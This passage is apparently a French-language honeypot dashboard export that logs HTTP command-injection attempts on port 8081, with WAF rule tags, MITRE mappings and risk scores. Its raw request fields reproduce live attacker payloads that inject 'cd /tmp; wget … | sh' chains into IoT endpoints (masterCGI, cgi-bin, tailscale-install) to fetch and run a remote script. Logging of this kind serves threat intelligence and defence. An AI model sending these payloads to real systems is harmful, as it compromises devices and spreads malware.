"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1",
"request_sample": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnection: close\r\n\r\n{\"cmd\":\"`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s 9router;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|s",
"payload_snippet": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnect",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d72e808757bd636e05a7678745d2ffbe7117988b",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/tunnel\/tailscale-install",
"request_line": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnect",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/tunnel\/tailscale-install",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0775"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/tunnel\/tailscale-install",
"request_line": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/tunnel\/tailscale-install",
"evidence_snippet": "POST \/api\/tunnel\/tailscale-install HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nContent-Length: 176\r\nConnect",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_cmd_injection",
"http_idor_probe",
"http_jwt_body",
"http_no_ua",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:10 UTC
TCP
8081 · HTTP
Sonde fichier configuration
config file probe · via HTTP:8081 · (tentative d'exploit) · → /wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20…
Élevée
Moyen · 64
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%2…
Émulateur
HTTP
WAF
47
Recommandation
Investiguer
Tags
950309:lfi-12
950325:rce-0
950345:rce-5
950405:ssrf-3
Cible HTTP
GET
/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20alcatel;
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20al…
Pourquoi cette classification : Sonde fichier sensible: chemin sensible (tag interne) · Règle WAF « lfi-12 » · Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 64
Confiance : Confiance 100 % — 7 tag(s) WAF
Protocole émulé
1 Signaux
Http Sensitive
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
LFI Double-dot bypass
Ligne de requête
GET /cgi-bin/masterCGI?ping=nomip&user=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20alcatel; HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-5
ssrf-3
nosqli-3
redir-1
Payload (extrait)
GET /cgi-bin/masterCGI?ping=nomip&user=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wge
Requête brute (extrait)
GET /cgi-bin/masterCGI?ping=nomip&user=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20alcatel; HTTP/1.1 Ho
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 2,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "daeda2ae79a1c94f294763a7a4e3a3b7695e64a6",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 298,
"payload_entropy": 5.188526969343507,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 74,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 30,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30
},
"risk_score": 64,
"tag_count": 14,
"anomaly_count": 1,
"campaign_key": "a5a843c7495fa04c24912ec32a13bd98be2793ed",
"event_fingerprint": "2b574d6034fa0fb437e9d8c5df97614e029279a5",
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 127,
"precision_signals": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0103"
],
"matched_pattern_names": [
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 64
},
"named_classification_skipped": false,
"classification_parent": "backup_file_scan",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "42fd74851afc42c87adebee806f4b184",
"path_pattern_hash": "9dbe1efebb97f3b2ef3472eff039ee1f"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 64
},
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20alcatel;",
"query_string": "ping=nomip&user=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20alcatel;",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/cgi-bin\/masterCGI?ping=nomip&user=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20alcatel; HTTP\/1.1",
"payload_snippet": "GET \/cgi-bin\/masterCGI?ping=nomip&user=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wge",
"evidence": {
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20alcatel;",
"query_string": "ping=nomip&user=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20alcatel;",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/cgi-bin\/masterCGI?ping=nomip&user=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20alcatel; HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/masterCGI?ping=nomip&user=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20alcatel; HTTP\/1.1\r\nHo",
"payload_snippet": "GET \/cgi-bin\/masterCGI?ping=nomip&user=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wge",
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "87a338ce0acad6dc8a9c27df06009c0c6ebc2321",
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20al\u2026",
"request_line": "GET \/cgi-bin\/masterCGI?ping=nomip&user=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/cgi-bin\/masterCGI?ping=nomip&user=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wge",
"attack_vector": "config file probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20\u2026",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 7 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 64
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 64,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"Http Sensitive",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20al\u2026",
"request_line": "GET \/cgi-bin\/masterCGI?ping=nomip&user=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "config file probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20\u2026",
"evidence_snippet": "GET \/cgi-bin\/masterCGI?ping=nomip&user=;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wge",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 7 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950487:redir-1",
"anomaly:high-entropy-query",
"http_no_ua",
"http_probe_cgi_bin",
"http_sensitive_path",
"http_suspicious_params",
"iot_http_endpoint",
"net_web_probe"
],
"behavior_alert_count": 1,
"behavior_priority": 72
}
11/07/2026 23:49:10 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /cgi-bin/;cd
Élevée
Moyen · 54
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
GET /cgi-bin/;cd
Émulateur
HTTP
WAF
13
Recommandation
Investiguer
Tags
950324:rce-0
950468:nosqli-3
http_no_ua
http_probe_cgi_bin
Cible HTTP
GET
/cgi-bin/;cd
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/cgi-bin/;cd
Pourquoi cette classification : Injection de commande (tag rce-0) · Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 54
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
pat-0773
pat-0775
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932205
LFI Double-dot bypass
Ligne de requête
GET /cgi-bin/;cd HTTP/1.1
User-Agent
—
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /cgi-bin/;cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s wavlink;busybox wget http://91.92.40.118/wget.sh -O-|sh -s wavl
Requête brute (extrait)
GET /cgi-bin/;cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s wavlink;busybox wget http://91.92.40.118/wget.sh -O-|sh -s wavlink;curl http://91.92.40.118/wget.sh|sh -s wavlink HTTP/1.1 Host: 62.3.50.33:8081 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "d405befa78aaecee1efcf37cb58895c28b2ff19c",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 233,
"payload_entropy": 5.113570909067197,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 60,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.8,
"risk_breakdown": {
"waf": 60,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 54,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "486c033eef6e81fd69d54a03e41989a3a16723b1",
"event_fingerprint": "181c531f1ef010cf0a265e23219a9c3c03f1a8ea",
"classification_reason": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 304,
"precision_signals": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0146"
],
"matched_patterns": [
"pat-0773",
"pat-0775",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0773",
"pat-0775",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 60,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 54
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "bff0470092d9b80c35253a12660b4cc0",
"path_pattern_hash": "60d5de007ff2546f34f0bc3749dc5e1b"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 54
},
"payload_preview": "GET \/cgi-bin\/;cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavlink;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavl",
"method": "GET",
"path": "\/cgi-bin\/;cd",
"waf_tags": [
"950324:rce-0",
"950468:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/;cd HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/;cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavlink;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavlink;curl http:\/\/91.92.40.118\/wget.sh|sh -s wavlink HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/cgi-bin\/;cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavlink;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavl",
"evidence": {
"method": "GET",
"path": "\/cgi-bin\/;cd",
"waf_tags": [
"950324:rce-0",
"950468:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/cgi-bin\/;cd HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/;cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavlink;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavlink;curl http:\/\/91.92.40.118\/wget.sh|sh -s wavlink HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/cgi-bin\/;cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavlink;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavl",
"classification_reason": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "49565b0b0dd4db75b46d47449cdd712ade7c6a9d",
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/;cd",
"request_line": "GET \/cgi-bin\/;cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/cgi-bin\/;cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavlink;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wavl",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/;cd",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 60,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 54
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 54,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0146"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/cgi-bin\/;cd",
"request_line": "GET \/cgi-bin\/;cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
